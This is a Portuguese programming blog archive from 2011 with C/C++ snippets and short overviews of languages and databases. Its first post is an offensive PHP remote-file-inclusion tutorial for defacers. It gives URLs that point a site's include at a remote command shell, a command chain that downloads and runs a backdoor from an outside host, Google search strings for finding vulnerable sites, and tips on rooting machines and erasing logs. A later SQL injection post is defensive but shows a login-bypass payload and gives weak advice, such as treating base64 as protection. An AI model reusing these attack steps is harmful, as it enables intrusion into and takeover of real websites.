Mostrando postagens com marcador Programação. Mostrar todas as postagens
Mostrando postagens com marcador Programação. Mostrar todas as postagens

03 junho 2011

php injection

0 comentários
Muita gente tem duvidas sobre PHP Injection, provavelmente a vulnerabilidade mais comum entre defacers/owners.
A vulnerabilidade acontece por desconhecimento do webmaster, ou por distração, eles colocam ‘includes’ para ajudar na criação do seu site sem fazer nenhuma verificação das ‘strings’
Um exemplo de um site vulneravel, com 3 partes em uma tabela:
include(‘topo.php’);
include(‘menu.php’);
include($page);
Existem várias strings, a mais comum é page..
Neste exemplo ele carregaria a página novidades.php do site.. Se ela for vulneravel dá para ‘injetar’ páginas maliciosas que executam comandos na maquina que roda o site , olha que legal dai o nome "PHP Injection"
Usando esse script como referencia :
http://kmzrox.by.ru/cmd.gif?&cmd=ls
Obviamente você tentaria: http://www.alvo.com.br/index.php?page=h … if?&cmd=ls
Ops! Se a página for vulneravel ela vai carregar! Se ela funcionar e não estiver em safe mode (uma opção do php.ini) vai listar os arquivos do site (comando ls).
Não é só isso, a partir daqui você usa a sua criatividade, rodar backdoor para ter acesso remoto (por telnet/putty), pacotar pessoas e servers, configurar psybnc, etc.. Só precisará saber alguns comandos de Linux/FreeBSD/SunOS..
Backdoor: kmzrox.by.ru/r0nin
Para usar coloque no ‘cmd’ cd /tmp;wget kmzrox.by.ru/r0nin;chmod 777 r0nin;./r0nin
entra na pasta tmp, baixa a backdoor (exploit), coloca permissão para o arquivo e roda ele
Por exemplo: http://www.alvo.com.br/index.php?page=h … in;./r0nin
Se tudo ocorrer bem e não tiver firewall agora vá iniciar > executar > telnet http://www.alvo.com.br1666, pronto, você está na maquina, enjoy! 
Para procurar no google as páginas separei uma lista de chaves, lembrando que você pode usar inurl:”.pt” (escolhendo a classe do dominio) para procurar páginas somente de um país.
allinurl:”.php?page=”
allinurl:”.php?inc=”
allinurl:”.php?body=”
allinurl:”.php?main=”
allinurl:”.php?pag=”
allinurl:”.php?p=”
allinurl:”.php?content=”
allinurl:”.php?cont=”
allinurl:”.php?c=”
allinurl:”.php?meio=”
allinurl:”.php?x=”
allinurl:”.php?cat=”
allinurl:”.php?site=”
allinurl:”.php?m=”
allinurl:”.php?do=”
allinurl:”.php?x=”
allinurl:”.php?content=”
allinurl:”.php?pagina=”
allinurl:”.php?root=”
allinurl:”.php?include=”
allinurl:”.php?open=”
allinurl:”.php?visualizar=”
allinurl:”.php?conf=”
Agora é simples, você tem os sites pra procurar e uma cmd, agora é só ir de página em página substituindo os valores da string page para o cmd que vai usar
Você pode utilizar exploits para tentar conseguir root (super user) na máquina, assim ter permissão para fazer o que quiser com os sites que estão dentro dela, apagar todos os logs, etc.
Aqui vai uma lista de páginas vulneraveis (depois de ler isso vocês já saberão o que fazer), a maioria está protegida ou com firewall, é só para mostrar o que vai acontecer quando uma página é vulneravel.
Páginas com passthru() bloqueados, quando não aparece nada na box são ignorados, entao continue procurando . Comentem e ajuem a complementar.
Ah uma shell muito utilizada é a c99shell .

02 junho 2011

MDC usando funções

0 comentários
Mais um exemplo simples e funcional de funções em C++
#include

using namespace std;

//Permuta os valores de a e b.
void troca( int &a, int &b )
{
int c;
c = a;
a = b;
b = c;
}

// Calcula o mdc(x,y) para x e y positivos.
int mdc(int x, int y)
{
do
{
//cout << "x = " << x << " y = " << y << endl; // ( opcional ) - informa quais valores estão sendo utilizados. x = x % y; cout << "x = " << x << " y = " << y << endl; troca(x,y); cout << "x = " << x << " y = " << y << endl; } while ( y != 0 ); return x; } // fim de mdc // Calcula o mdc de vários parees de números inteiros positivos. int main() { int m, n; char c; do { cout << "Entre com dois números inteiros positivos:" << endl; cin >> m >> n;
cout << "O mdc deles é " << mdc(m,n); cout << "\nDeseja continuar (s/n)? "<< flush; cin >> c;
} while ( ( c != 'n' ) && ( c != 'N' ) );

return 0;

} // fim da função main

Gerar número randomico em C

0 comentários
Que tal um codigo que gera um número randômico entre 0 e 2, para gerar entre outros números altere neste parte n = 0 + rand() %2;, exemplo entre 50 e 100 ficaria n = 50 + rand() %100;.
#include
#include
#include

int main()
{
int n;

srand ((unsigned) time(NULL));
n = 0 + rand() %2;

printf("%d",n);

return 0;
}

Loop usando index de arrays ou ponteiros

0 comentários
Temos 2 funções, uma agindo de cada tipo. Nomes sugestivos.

#include

void indexar(char *s);
void ponteiro(char *s);

int main()
{
char string[50], *s;

puts("Entre com a string: ");
scanf("%s",&string);

s = string;

indexar(s);
ponteiro(s);

return 0;
}

void indexar(char *s)
{
register int i;

puts("\nexemplo indexando array:\n");
for(i=0;s[ i ];i++)
{
putchar(s[ i ]);
printf("-");
}
}

void ponteiro(char *s)
{
puts("\nexemplo com ponteiro:\n");
while(*s){
putchar(*s++);
printf("-");
}
}

31 maio 2011

Para que serve um banco de dados?

0 comentários
Serve para manipular (ou processar) dados...

É que existem certas maneiras padronizadas de se lidar com grandes quantidades de dados (informações no computador), que funcionam também com pequenas quantidades.

Estas "maneiras padronizadas" são chamadas de formato, padrão, paradigma, etc, mas definem como os dados são guardados no computador e como eles são apresentados.

Aí você usa um programa, um "SGBD - Sistema Gerenciador de Banco de Dados" (ou "DBMS", em inglês, de "Data Base Management System"), como o MySQL, o Access, etc.

Ou um programa que faça uma interface (que interagem) com um SGBD (ou que tenha um SGBD embutido), como os programas feitos com o Delhpi ou o VB, por exemplo, que fazem você pensar que não existe o tal SGBD.

E dessas maneiras você usa os dados com a ajuda do computador.

O paradigma de bancos de dados mais simples é usar uma tabela. Pense um uma tabela com várias colunas, onde você coloca um tipo de informação em cada uma (como Nome, Fone, E-mail, Salário, etc), e cada linha representa uma pessoa.

Ora, cada linha (chamada também de "Registro") conterá (nesse exemplo) os dados sobre uma pessoa, enquanto que cada coluna (chamada também de "Campo") contêm o mesmo tipo de dado sobre todas as pessoas (como todos os E-mails de toda as pessoas cadastradas).

Podemos processar ou selecionar os dados dessa tabela. 

Por exemplo, para dar um aumento de 10% para os salários de todas as pessoas, a gente apenas multiplica por 1,1 o valor de número da coluna "Salário".

E se queremos saber quem tem o maior salário, basta comparar os valores da coluna "Salário" e quardar o "Nome" do que tiver o maior valor de "Salário".

O paradigma mais usado hoje em dia é o de Banco de Dados Relacional. Nesse paradigma, um banco de dados é composto por várias tabelas, mais uma série de informações (chamadas "Relações") que nos permite ligar os dados de uma tabela com os dados de outra.

Por exemplo, uma tabela pode ser dos dados dos funcionários de uma empresa. Outra tabela pode ser a lotação dos funcionários (lista de que funcionários pertencem a cada setor da empresa).

Nesse exemplo, podemos procurar quem ganha o menor salário de um certo setor. Para isso, seleciona-se da tabela de lotação quem pertence ao setor desejado, e com estes procura-se na tabela com dados dos funcionários, um de cada vez, o salário, comparando e guardando o menor (com a identificação desse funcionário).

Voce sabe o que é SQL injection ?

0 comentários
Bom o assunto envolve a segurança dos nossos projetos em PHP e MySQL, o temido SQL Injection. Se você é programador com certeza já ouviu à respeito.
O SQL Injection é um ataque que visa enviar comandos nocivos à base de dados através de campos de formulários ou através de URLs. Um ataque bem-sucedido pode, por exemplo, apagar  uma tabela do banco, deletar todos os dados da tabela ou até adquirir senhas que estejam cadastradas.
Veja abaixo um exemplo de vulnerabilidade em um sistema de login:

$usuario = $_POST['usuario'];
$senha = $_POST['senha'];
$sql = "SELECT * FROM usuarios WHERE usuario = '".$usuario."' AND senha = '".$senha."' ";
$processa = mysql_query($sql);

Neste exemplo as variáveis $usuario e $senha recebem conteúdo vindo diretamente de um formulário através do método POST. Imagine que o conteúdo da variável $senha seja ” ‘or 1=’1 “. Se nenhuma validação for realizada, o usuário mal-intencionado terá efetuado login no sistema sem ao menos ter especificado um cadastro válido, devido a uma falha gerada na instrução SQL.
Analisemos outro exemplo de vulnerabilidade. Muitos sites utilizam sistemas via include() para organizar sua páginas internas, baseando-se numa variável do método $_GET.

// Verifica se a variável $_GET['pagina'] existe
if (isset($_GET['pagina'])) {
// Pega o valor da variável $_GET['pagina']
$arquivo = $_GET['pagina'];
} else {
// Se não existir variável, define um valor padrão
$arquivo = 'home.php';
}
include ($arquivo); // Inclui o arquivo

E na URL do site você poderia ter:
http://www.seusite.com.br/?pagina=contato.php
Com isso o “invasor” pode, por exemplo, colocar um caminho de um script externo no lugar da variável:
http://www.seusite.com.br/?pagina=http://malicioso.com/apaga-banco.php
O seu site incluiria o arquivo normalmente e executaria tudo que existe dentro dele… e seu banco poderia ser completamente zerado!
Ficou assustado? Calma. Para proteger seus trabalhos basta seguir uma regrinha básica:
“Valide SEMPRE todo e qualquer tipo de dado que seu projeto for receber, seja via formulário (POST) ou via query string (GET).”
Agora você deve estar se perguntando o que fazer para se proteger de ataques. Existem dezenas de “macetes” disponiveis na internet que servem para validação de dados. Seguem alguns:
- Você pode combinar addslashes() e trim() ao receber os dados. O primeiro irá adicionar uma barra invertida antes de cada barra simples ou dupla que apareça, processo esse conhecido como ESCAPE. O segundo vai se certificar de eliminar espaços em branco. Você também poderá utilizar apenas uma das duas funções.

$usuario = addslashes($_POST['usuario']);
$usuario = trim($usuario);
$senha = addslashes($_POST['senha']);
$senha = trim($senha);

- Você pode usar mysql_real_escape_string() ao receber os dados. Esta função serve para remover os carácteres especiais nos dados recebidos. Vale ressaltar que este comando nãoremove % e _ .
- Você pode usar strip_tags() ao receber os dados. Esta função retirará todas as tags HTML e PHP dos dados fornecidos.
$usuario = mysql_real_escape_string($_POST['usuario']);
$senha = mysql_real_escape_string($_POST['senha']);
Você pode aindar usar o segundo parâmetro da função, indicando quais tags tem permissão para continuar.
$usuario = strip_tags($_POST['usuario']);
$senha = strip_tags($_POST['senha']);


- Para toda variável inteira que for fornecida, você pode usar intval().
$usuario = strip_tags($_POST['usuario'], '<em><strong></strong></em>');

Desta maneira você elimina qualquer caráctere não numérico, deixando somente valores inteiros.
- Você também pode combinar diversas funções em uma só função muito mais abrangente. Segue um exemplo abaixo:

function protecao($string){
$string = str_replace(" or ", "", $string);
$string = str_replace("select ", "", $string);
$string = str_replace("delete ", "", $string);
$string = str_replace("create ", "", $string);
$string = str_replace("drop ", "", $string);
$string = str_replace("update ", "", $string);
$string = str_replace("drop table", "", $string);
$string = str_replace("show table", "", $string);
$string = str_replace("applet", "", $string);
$string = str_replace("object", "", $string);
$string = str_replace("'", "", $string);
$string = str_replace("#", "", $string);
$string = str_replace("=", "", $string);
$string = str_replace("--", "", $string);
$string = str_replace("-", "", $string);
$string = str_replace(";", "", $string);
$string = str_replace("*", "", $string);
$string = strip_tags($string);
return $string;
}
- Se estiver trabalhando com senhas ou dados sigilosos, é importante pensar em usar CRIPTOGRAFIA de dados. Você pode usar md5, sha1 ou base64, sendo que os dois primeiros são de “mão única” e não podem ser revertidos ao estado anterior. Procure pesquisar mais sobre eles e proteja-se.


23 maio 2011

Verificar se o número é primo ou não

0 comentários
Código em linguagem C , lembrando q C é diferente de C++ , não confundam , depois posto este mesmo código em C++:

#include
#include

int main(int argc, char *argv[])
{

int numero = 1, i;
while(numero){
printf("Digite '0' para sair.");
printf("Digite um numero: ");
scanf("%d",&numero);
for(i=2;i<=(numero>>1)+1;i++) {
if (numero == 1 || numero == 2 || numero == 3) {
break;
}
if (!(numero%i)) {
printf("\n\n\t%d nao eh primo, ele eh divisivel por %d.\n",numero,i);
break;
}
}
if ((numero%i) || (numero == 1) || (numero == 2) || (numero == 3)) {
printf("\n\n\t%d eh primo.\n",numero);
}
}
system("PAUSE");
return 0;
}

22 maio 2011

ALGOL

0 comentários
Quem ai já ouviu falar sobre ALGOL ? se não ouviu ainda , neste post vou falar um pouco sobre ela e um pouco de sua história .


O Algol ou ALGOL ( a forma de escrita depende da forma de consulta) , é uma família de linguagens de programação de alto nível , usadas principalmente em aplicações científicas. A origem do seu nome vem de "ALGOrithmic Language"  .
Várias linguagens razoavelmente diferentes receberam o nome de ALGOL ou Algol, adicionando ao nome letras ou números, por descenderem diretamente do ALGOL original.

Um pouco de História 


A linguagem começou a ser formulada em 1957, na Europa, por um grupo internacional de cientistas de computação que finalmente, em 1960, definiram o Algol 60 através de um documento curto, conciso e preciso, o "Revised Report on the Algorithmic Language Algol 60", que foi publicado em 1963 na revista Communications of the ACM.
ALGOL especifica três sintaxes diferentes: uma sintaxe de referência, uma sintaxe de publicação e uma sintaxe de implementação. O uso de três sintaxes distintas permitia usar palavras chaves diferentes e convenções para pontos decimais (ou vírgulas decimais) de acordo com diferentes costumes nacionais.
A primeira versão da linguagem foi criada em 1958 e teve o nome original de International Algorithmic Language, mais tarde sendo conhecida por ALGOL 58
John Backus desenvolveu a Forma Normal de Backus, conhecido como BNF, para descrever ALGOL 58. O método foi revisado e expandido por Peter Naur, recebendo então o nome de Forma de Backus-Naur, e mantendo a sigla.
C.A.R. Hoare disse de ALGOL 60: "Aqui está uma linguagem tão a frente de seu tempo, que não foi uma melhoria sobre seus predecessoras, mas também a quase todas suas sucessoras". Essa fala foi também uma crítica velada a ALGOL 68, uma linguagem considerada inchada demais por muitos de seus críticos (e que não teve praticamente nenhum sucesso comercial).


Suas características 



As duas características principais do Algol são: a clareza e a elegância da sua estrutura baseada nos blocos e o estilo de sua definição, que usa uma linguagem metalingüística para definir de forma concisa e relativamente completa a sua sintaxe.
A linguagem continuou sendo desenvolvida e enriquecida com novas construções e novos comandos que aumentaram seu potencial.
Existem outras versões do Algol, como, por exemplo, o Algol 68, o Algol W voltado para máquinas IBM e o Algol 6000/7000 da Burroughs.

21 maio 2011

O que é .NET [ dot net ]

0 comentários

O que é .NET


.NET (lê se: dot-net) é uma plataforma de software que conecta informações, sistemas, pessoas e dispositivos. A plataforma .NET conecta uma grande variedade de tecnologias de uso pessoal e de negócios, de telefones celulares a servidores corporativos, permitindo o acesso a informações importantes, onde e sempre que forem necessárias.
Desenvolvido sobre os padrões de Web Services XML,.NET possibilita que sistemas e aplicativos, novos ou já existentes, conectem seus dados e transações independente do sistema operacional, tipo de computador ou de dispositivo móvel que sejam utilizados, ou que linguagem de programação tenha sido utilizada na sua criação.
O .NET é um "ingrediente" presente em toda a linha de produtos Microsoft, oferecendo a capacidade de desenvolver, implementar, gerenciar e usar soluções conectadas através de Web Services XML, de maneira rápida, barata e segura. Essas soluções permitem uma integração mais rápida e ágil entre os negócios e o acesso a informações a qualquer hora, em qualquer lugar e em qualquer dispositivo.
Comentem o que voces acham , amanha postarei sobre .NET X Java . 



16 maio 2011

Visual Basic -VB.NET

0 comentários



É uma linguagem de programação de scripts do lado do cliente, mas é somente compatível com Internet Explorer. É por isso que sua utilização está desaconselhada a favor de Javascript.


Está baseado em Visual Basic que é uma linguagem popular para criar aplicações Windows. Tanto sua sintaxe como sua forma de trabalhar está muito inspirada nele. Entretanto, nem tudo o que se pode fazer em Visual Basic poderemos fazer com Visual Basic Script, pois este último é uma versão reduzida do primeiro.


A forma de funcionamento de Visual Basic Script para construir efeitos especiais em páginas web é muito similar a utilizada em Javascript, e os recursos aos quais se pode acessar também são os mesmos: o navegador.


Uma possibilidade de se usar o visual basic é na contrução de uma intranet onde saibamos com toda certeza que os navegadores que vão se conectar serão sempre em Internet Explorer. Neste caso, um programador habitual de Visual Basic teria mais facilidades para realizar os scripts utilizando Visual Basic Script ao invés de Javascript. 

15 maio 2011

O que é Ruby ?

0 comentários
Ruby é uma linguagem de script criada em 1994 por Yukihiro Matsumoto (Matz). Ela foi grandemente inspirada em Python e Perl (daí o nome “Ruby”, outra pedra preciosa). Matz queria uma linguagem mais poderosa que Perl e mais orientada a objeto que Python.
Ruby foi desenvolvida com o “princípio da menor surpresa” em mente. O objetivo era fazer uma linguagem expressiva que ajudasse o programador a fazer o que pensa ao invés de “entrar no caminho”.
A linguagem é 100% orientado a objeto e dinamicamente tipada. Isto é, diferente de Java e C++, o tipo do objeto só é conhecido em runtime.

Mixins, para lidar com o problema de herança múltipla.Como linguagem orientada a objetos, ela implementa algumas funcionalidades muito interessantes, como:
  • Closures ou Blocos de Código, que permitem que código seja passado como parâmetro. Muito útil ao se lidar com coleções.
  • Continuations, uma espécie de “save game” para código. Permite que vc interrompa o código em um ponto e continue sua execução em outro lugar.
  • Bindings, que permite que o contexto (variáveis, objetos) seja passado para outro ponto do código. É utilizado no “eval” e no mecanismo de template do Ruby, o ERB.

O que é Python?

0 comentários
Python é uma linguagem de programação. Em outras palavras, e sendo simples ao extremo, usamos Python para escrever software. Esta linguagem tem alguns pontos que a tornam especial:

  • É uma linguagem interpretada.
  • Não há pré-declaração de variáveis, e os tipos das variáveis são determinados dinamicamente.
  • O controle de bloco é feito apenas por indentação; não há delimitadores do tipo BEGIN e END ou { e }.
  • Oferece tipos de alto nível: strings, listas, tuplas, dicionários, arquivos, classes.
  • É orientada a objetos; aliás, em Python, tudo é um objeto.

14 maio 2011

JavaScript , o que é?

0 comentários

Trata-se de uma linguagem de programação do lado do cliente, porque é o navegador que suporta a carga de processamento. Graças a sua compatibilidade com a maioria dos navegadores modernos, é a linguagem de programação do lado do cliente mais utilizada.

É uma linguagem usada para criar pequenos programinhas para web.


Com Javascript podemos criar efeitos especiais nas páginas e definir interatividades com o usuário. O navegador do cliente é o encarregado de interpretar as instruções Javascript e executá-las para realizar estes efeitos e interatividades, de modo que o maior recurso, e talvez o único, com que conta esta linguagem é o próprio navegador.


Javascript é o seguinte passo, depois do HTML, que pode dar um programador da web que decida melhorar suas páginas e a potência de seus projetos. É uma linguagem de programação bastante simples e pensada para fazer as coisas com rapidez, às vezes com leveza. Inclusive as pessoas que não tenham uma experiência prévia na programação poderão aprender esta linguagem com facilidade e utilizá-la em toda sua potência com somente um pouco de prática.


Entre as ações típicas que se podem realizar em Javascript temos duas vertentes. Por um lado os efeitos especiais sobre páginas web, para criar conteúdos dinâmicos e elementos da página que tenham movimento, mudem de cor ou qualquer outro dinamismo. Por outro lado, Javascript nos permite executar instruções como resposta às ações do usuário, com o qual podemos criar páginas interativas com programas como calculadoras, agendas, ou tabelas de cálculo.


Javascript é uma linguagem com muitas possibilidades, permite a programação de pequenos scripts, mas também de programas maiores, orientados a objetos, com funções, estruturas de dados complexas, etc. Ademais, Javascript coloca à disposição do programador todos os elementos que formam a página web, para que este possa acessar a eles e modificá-los dinamicamente.

Java - o que é ?

0 comentários
Java é uma linguagem de programação com a qual podemos realizar qualquer tipo de programa. Na atualidade, é uma linguagem muito extensa e cada vez cobra mais importância no âmbito de Internet como na informática em geral. Está desenvolvido pela companhia Sun Microsystems com grande dedicação e sempre enfocada a cobrir as necessidades tecnológicas mais principais.
Uma das principais características pelas quais Java se tornou tão famoso é que é uma linguagem independente da plataforma. Isto quer dizer que se fazemos um programa em Java poderá funcionar em qualquer computador do mercado. É uma vantagem significativa para os desenvolvedores de software, pois antes tinham que fazer um programa para cada sistema operativo, por exemplo Windows, Linux, Apple, etc. Isto se consegue porque foi criado uma Máquina de Java para cada sistema que faz de ponte entre o sistema operativo e o programa de Java e possibilita que este último se entenda perfeitamente.


A independência de plataforma é uma das razões pelas quais Java é interessante para Internet, já que muitas pessoas devem ter acesso com computadores distintos. Mas não fica por aí, Java está desenvolvendo inclusive distintos tipos de dispositivos ademais do computador como celulares, agendas e em geral para qualquer coisa que a indústria possa inventar.


Passado e presente


Java foi pensado originalmente para se utilizar em qualquer tipo de eletrodoméstico, mas a idéia fracassou. Um dos fundadores de Sun resgatou a idéia para utilizá-la no âmbito da Internet e converteram a Java em uma linguagem potente, segura e universal graças por ser gratuito e por poder utilizar todo mundo. Um dos primeiros triunfos de Java foi que se integrou no navegador Netscape e permitia executar programas dentro de uma página web, até então impensável com o HTML.


Atualmente Java é utilizado em um amplo leque de possibilidades e quase qualquer coisa que se pode fazer em qualquer linguagem pode ser feito também em Java e muitas vezes com grandes vantagens. Para o que nos interessa, com Java podemos programar páginas web dinâmicas, com acesso à base de dados, utilizando XML, com qualquer tipo de conexão de rede entre qualquer sistema. Em geral, qualquer aplicação que desejarmos fazer com acesso através web se pode fazer utilizando Java.


Conclusão


Java é tão grande que se quisermos fazer coisas complicadas não poderemos aprender tudo através dos tutoriais on-line e precisaríamos de livros e cursos. A página de Java de Sun é sem dúvida a melhor referência, mesmo sendo um pouco avançada para os que começam, é a referência mais útil para os que necessitam se documentar para algo em concreto.

Delphi- Apresentação

0 comentários
Foi produzido pela Borland Software Corporation. A linguagem utilizada pelo ambiente Borland Delphi é o Object Pascal. O Delphi, originalmente direcionado para a plataforma Windows, chegou a ser usado para desenvolvimento de aplicações nativas para Linux e Mac OS, através do Kylix.
O nome Delphi é inspirado na cidade de Delfos, o único local na Grécia antiga em que era possível consultar o Oráculo de Delfos. O nome deve-se ao fato de que os desenvolvedores do compilador buscavam uma ferramenta capaz de acessar o banco de dados Oracle - daí o trocadilho: "a única maneira de acessar o oráculo é usando Delphi".
Atualmente foi criado o Lazarus que possui uma interface muito semelhante ao Delphi e a característica de ser multiplataforma, ou seja, roda tanto no linux quanto no windows.
O Delphi consiste de vários elementos, ferramentas de design e de banco de dados para auxiliá-lo a desenvolver e testar suas aplicações de forma rápida e intuitiva. A seguir algumas características do Delphi:

•Construtor Visual de Interface com o Usuário

•Arquitetura Baseada em Componentes

•Compilador de Código Nativo de Alta Performance

•Tow-Way Tools

•Biblioteca de Componentes Visuais

•Arquitetura Aberta

•Linguagem Orientada a Objetos

•Suporte à Tecnologia do Windows

•Depurador Gráfico

•Ambiente Personalizável

•Gerenciador de Projetos

•Assistentes

•Gerador de Relatórios

•Servidor Local Baseado em SQL

13 maio 2011

Clipper - o que é

0 comentários
Clipper é uma linguagem de programação criada aproximadamente em 1985, sendo uma linguagem de alto nível, com diversos recursos tanto para profissionais como para iniciantes. Considerada por muitos uma das melhores linguagens de programação devido tanto a seus recursos para programadores como o resultado (programas velozes) para os usuários. Embora hoje com a programação orientada a objetos e outros detalhes, deixem o Clipper para muitos obsoleto.


O nome Clipper deriva da embarcação com o mesmo nome (veleiro que navega rapidamente nos mares).


Embora seja considerada uma linguagem obsoleta, esta linguagem ganhou muitos adeptos desde a sua criação. Hoje os "clipeiros" - como são chamados os simpatizantes da linguagem Clipper - buscam e desenvolvem ferramentas que se adpatam ao ambiente gráfico. Com apenas algumas pequenas mudanças é possível hoje desenvolver um Sistema com a linguagem Clipper com um visual semelhante a um programa com objetos, janelas, imagens e efeitos gráficos.


Com a era do Software Livre, estão aparecendo muitas colaborações como o Projeto Harbour, fazendo com que um Sistema desenvolvido em linguagem Clipper não sofra muitas modificações para se tornar um sistema de ambiente gráfico.


Exemplos de código


? "Hello world!"


USE kunden SHARED NEW
cls
@ 1, 0 SAY "KdNr " GET kunden->kdnr PICT "999999" VALID kdnr > 0
@ 3, 0 SAY "Name " GET kunden->name VALID !empty(kunden->name)
@ 4, 0 SAY "Adresse" GET kunden->adresse
READ

Cadastre-se

Receba atualizações por email .

Copyright © 2011 PortalTecch.net, Todos os direitos reservados.